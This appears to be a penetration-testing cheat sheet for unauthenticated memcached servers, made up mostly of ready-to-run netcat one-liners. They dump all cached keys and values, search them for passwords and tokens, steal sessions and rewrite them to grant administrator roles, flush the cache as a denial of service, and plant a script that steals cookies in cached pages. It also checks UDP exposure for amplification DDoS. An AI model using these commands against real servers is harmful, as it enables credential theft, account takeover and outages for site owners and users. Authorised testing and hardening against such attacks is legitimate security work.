Automated Key Extraction

```
# Automate key extraction
for slab in {1..30}; do
  echo "stats cachedump $slab 100" | nc target.com 11211
done
```

Attack Vectors

No Authentication

Memcached by default has no authentication mechanism, making it trivial to access and manipulate cached data if exposed.

```
# Test access
echo "version" | nc target.com 11211
```

```
# If version returns, memcached is accessible
# Enumerate and extract all data
```

Data Extraction

Extracting all cached data requires iterating through slabs and dumping their keys and values.

```
# Extract all keys and values
# Step 1: Get slabs
slabs=$(echo "stats items" | nc target.com 11211 | grep "items:" | cut -d: -f2 | sort -u)

# Step 2: Dump each slab
for slab in $slabs; do
  echo "stats cachedump $slab 1000" | nc target.com 11211
done > keys.txt

# Step 3: Extract values
cat keys.txt | grep "ITEM" | awk '{print $2}' | while read key; do
  echo "get $key" | nc target.com 11211
done
```

Data Manipulation

You can modify cached data to alter application behavior, escalate privileges, or inject malicious content.

Basic Data Manipulation

```
# Modify cached data
echo -e "set session_admin 0 0 4\r\ntest" | nc target.com 11211

# Delete keys
echo "delete key_name" | nc target.com 11211

# Flush all data (DoS)
echo "flush_all" | nc target.com 11211
```

Session Data Manipulation

```
# Modify session data
# If application uses memcached for sessions
echo -e "set user_12345_session 0 0 20\r\n{\"admin\":true}" | nc target.com 11211
```

Session Hijacking

Applications often store session data in memcached, allowing you to steal or manipulate user sessions.

Finding and Extracting Sessions

```
# Find session keys
echo "stats items" | nc target.com 11211 | grep session

# Get session data
echo "get sess_abc123" | nc target.com 11211
```

Session Privilege Escalation

```
# Modify session to elevate privileges
echo -e "set sess_abc123 0 0 25\r\n{\"role\":\"administrator\"}" | nc target.com 11211
```

Amplification DDoS

Memcached can be abused for UDP amplification attacks.

```
# Memcached responds with large stats output to small request
# Can amplify attack by 10,000x - 51,000x

# Check if UDP is enabled
nmap -sU -p 11211 target.com

# If open, it can be abused as DDoS reflector
# (Don't do this without permission)
```

Post-Exploitation

Credential Harvesting

Search for sensitive credentials stored in memcached cache.

Automated Credential Search

```
# Search for credentials in cache
echo "stats cachedump 1 1000" | nc target.com 11211 | while read line; do
  key=$(echo $line | awk '{print $2}')
  echo "get $key" | nc target.com 11211 | grep -i "password\|secret\|token"
done
```

Common Credential Keys

```
# Common cached credential keys
get api_key
get database_password
get admin_token
get jwt_secret
```

Cache Poisoning

Inject malicious data into memcached cache to compromise application behavior.

User Profile Poisoning

```
# Poison cache with malicious data
# If application caches user profiles
echo -e "set user_profile_123 0 0 50\r\n{\"username\":\"admin\",\"role\":\"superadmin\"}" | nc target.com 11211
```

HTML Content Poisoning

```
# Poison cached HTML
echo -e "set page_home 0 0 50\r\n<script>alert(document.cookie)</script>" | nc target.com 11211
```

Common Memcached Commands

Command	Description	Usage
stats	Get statistics	stats
stats items	Get slab stats	stats items
stats cachedump	Dump keys	stats cachedump 1 100
get	Get value	get key_name
set	Set value	set key 0 0 5
delete	Delete key	delete key_name

Command	Description	Usage
flush_all	Delete all	flush_all
version	Get version	version
quit	Close connection	quit

Useful Tools

Tool	Description	Primary Use Case
telnet	Terminal client	Manual testing
netcat	Network utility	Connection testing
memcached-tool	Official tool	Management
libmemcached-tools	Command-line tools	Testing and debug
Nmap	Network scanner	Service detection
Metasploit	Exploitation framework	Automated testing

Security Misconfigurations

- ❌ No authentication
- ❌ Exposed to internet (0.0.0.0)
- ❌ UDP protocol enabled (DDoS risk)
- ❌ No firewall restrictions
- ❌ Sensitive data cached
- ❌ Session data in cleartext
- ❌ No encryption

- ❌ Default port accessible
- ❌ No access logging
- ❌ Large memory allocation (DDoS target)